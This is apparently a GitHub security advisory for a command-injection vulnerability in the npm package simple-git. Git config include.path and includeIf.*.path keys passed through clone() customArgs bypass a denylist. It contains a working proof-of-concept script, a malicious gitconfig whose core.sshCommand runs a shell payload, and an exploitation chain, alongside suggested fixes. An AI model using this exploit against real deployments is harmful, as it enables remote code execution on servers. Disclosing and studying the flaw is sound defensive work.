GHSA-g4wm-2vf7-vfgr

Suggest an improvement
Source
https://github.com/advisories/GHSA-g4wm-2vf7-vfgr
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-g4wm-2vf7-vfgr/GHSA-g4wm-2vf7-vfgr.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-g4wm-2vf7-vfgr
Aliases
Published
2026-10-05T23:48:05Z
Modified
2026-10-06T00:00:09Z
Severity
  • 8.1 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
simple-git allows command execution through unblocked Git configuration includes
Details

Summary

An OS command injection vulnerability in git.clone() allows any application that flows attacker-influenced data into customArgs to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any include.path entry in the blockUnsafeOperationsPlugin denylist. Passing -c include.path=<file> via customArgs loads any local file as a gitconfig. The loaded file can set core.sshCommand (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.

PR #1167 (merged to main 2026-05-10, not yet released to npm) adds preventConfigBuilder('include.path', 'allowUnsafeInclude') to the denylist. The generated regex /\s*include.path/ closes the plain spelling but does not match the conditional form includeIf.<cond>.path. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.

This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). include and includeIf are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.

Details

Two sinks share the same root cause: the denylist is incomplete.

Sink A: published 3.36.0 has no include.path entry

packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts in the v3.36.0 tag contains no entry for include.path or includeIf.*.path. The argv parser recognises -c include.path=<file> and -c includeIf.<cond>.path=<file> as config writes, but detectVulnerableConfigWrites iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.

Sink B: pending PR #1167 regex misses includeIf

PR #1167 adds:

const preventUnsafeConfig = [
   // ...
   preventConfigBuilder('include.path', 'allowUnsafeInclude'),
   // ...
];

preventConfigBuilder constructs a non-anchored regex from the string:

function preventConfigBuilder(config, category, message) {
   const regex = typeof config === 'string'
      ? new RegExp(`\\s*${config.toLowerCase()}`)
      : config;
   return function preventCommand(key) {
      if (regex.test(key)) { /* throw */ }
   };
}

For 'include.path', the generated regex is /\s*include.path/. The . between include and path is a regex wildcard. The engine matches include plus exactly one arbitrary character plus path. Conditional include keys have the form includeIf.<condition>.path (includeIf.gitdir:.path, includeIf.onbranch:main.path, includeIf.hasconfig:r.u:**.path, etc.). The substring between include and path is if.<condition>:, always longer than one character. The 11-character match window cannot align and the test returns false.

/\s*include.path/.test('include.path')                    // true
/\s*include.path/.test('includeif.gitdir:.path')          // false
/\s*include.path/.test('includeif.onbranch:main.path')    // false

The argv parser at packages/argv-parser/src/argv/analyse-config.ts correctly recognises both include.path=... and includeIf.gitdir:.path=... as config writes; both yield a ConfigWrite with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).

Exploitation chain

  1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared /tmp in multi-tenant runners, log poisoning that lands [core] headers in a log path, predictable artifact paths, container volume mounts the attacker controls.

    [core]
    sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
    
  2. Attacker triggers git.clone() with crafted customArgs. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of blockUnsafeOperationsPlugin.

  3. cloneTask assembles ['clone', '-c', '<payload>', pathspec(url), pathspec(dst)].

  4. blockUnsafeOperationsPlugin runs parseArgv and collectWriteFlags, yielding the write. detectVulnerableConfigWrites iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match includeif.gitdir:.path. Either way, no vulnerability is yielded and the plugin permits the operation.

  5. suffixPathsPlugin moves pathspec items to the suffix. Final argv: git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst.

  6. git clone has its own -c / --config option (-c <key>=<value>, --config <key>=<value> per git clone --help), so a -c immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty gitdir: pattern that matches the current gitdir), reads /tmp/attacker.cfg, registers core.sshCommand.

  7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.

git clone is the unique git subcommand that honours -c after itself. git fetch -c k=v, git pull -c k=v, git push -c k=v all reject the placement (those subcommands treat -c as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled -c in customArgs always lands after the subcommand. Clone is the entry point for both sinks.

Secondary chain: HOME and XDG_CONFIG_HOME not in parseEnv denylist

packages/argv-parser/src/env/parse-env.ts:5-25 lists env keys removed from the spawned-process environment when sourced from git.env(...). HOME, XDG_CONFIG_HOME, and similar config-resolution keys are absent. Calling git.env({HOME: '/tmp/fake-home'}) makes git read /tmp/fake-home/.gitconfig, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.

PoC

Reproduction from a clean install:

mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install simple-git@3.36.0
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');

fs.writeFileSync('/tmp/sg-attacker.cfg',
   `[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);

const git = simpleGit({ baseDir: '/tmp' });

(async () => {
   // Sink A: plain include.path works on published 3.36.0 (no denylist entry).
   // Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
   const payload = 'include.path=/tmp/sg-attacker.cfg';

   try {
      await git.clone(
         'ssh://nonexistent.example.com/repo.git',
         '/tmp/sg-rce-dst',
         ['-c', payload]
      );
   } catch (_) { /* clone fails after sshCommand has already run */ }

   await new Promise(r => setTimeout(r, 500));
   console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js

Output on simple-git 3.36.0:

uid=0(root) gid=0(root) groups=0(root)

Swapping the payload to 'includeIf.gitdir:.path=/tmp/sg-attacker.cfg' reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.

Impact

Pre-authentication remote code execution in any server that flows attacker-influenced data into customArgs of clone() or mirror(). simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:

  • CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
  • PaaS and hosting platforms that accept customer-tunable git options
  • Code analyzers and security scanners that clone user-supplied repos
  • Bot frameworks (Probot, GitOps controllers) that wrap simple-git
  • AI agent frameworks that auto-clone repositories for analysis
  • VS Code extensions, Electron tools, and dev tooling that pass options through

The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared /tmp, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical. The form value uses the conservative AC:H = 8.1 baseline that accounts for the separate-request case.

Distinction from prior advisories and pending fix

Reviewed the published GHSA list at steveukx/git-js/security/advisories. Two advisories are published:

  • GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor
  • GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive protocol.allow form

Neither mentions include, includeIf, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference include.path. It addresses the plain form but its regex misses the conditional includeIf.<cond>.path spelling.

The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.

Suggested fix

In packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts, add the plain include.path entry and ensure conditional forms are covered:

preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),

Alternatively pre-process the key in parseAssignment to strip the if.<condition>: decoration before testing against include.path, since includeIf is semantically equivalent to include for security purposes.

Stronger, longer-term fix: invert the model. Reject any -c, --config, --config-env in customArgs unconditionally and require callers to use the typed config: option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.

Also extend parseEnv to drop HOME, XDG_CONFIG_HOME, and any env key that affects config-file resolution.

Database specific
{
    "cwe_ids":  [
        "CWE-77",
        "CWE-78"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-10-05T23:48:05Z",
    "nvd_published_at":  "2026-09-29T19:17:24Z",
    "severity":  "HIGH"
}
References

Affected packages

npm / simple-git

Package

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
4.0.0

Database specific

last_known_affected_version_range
"<= 3.36.0"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-g4wm-2vf7-vfgr/GHSA-g4wm-2vf7-vfgr.json"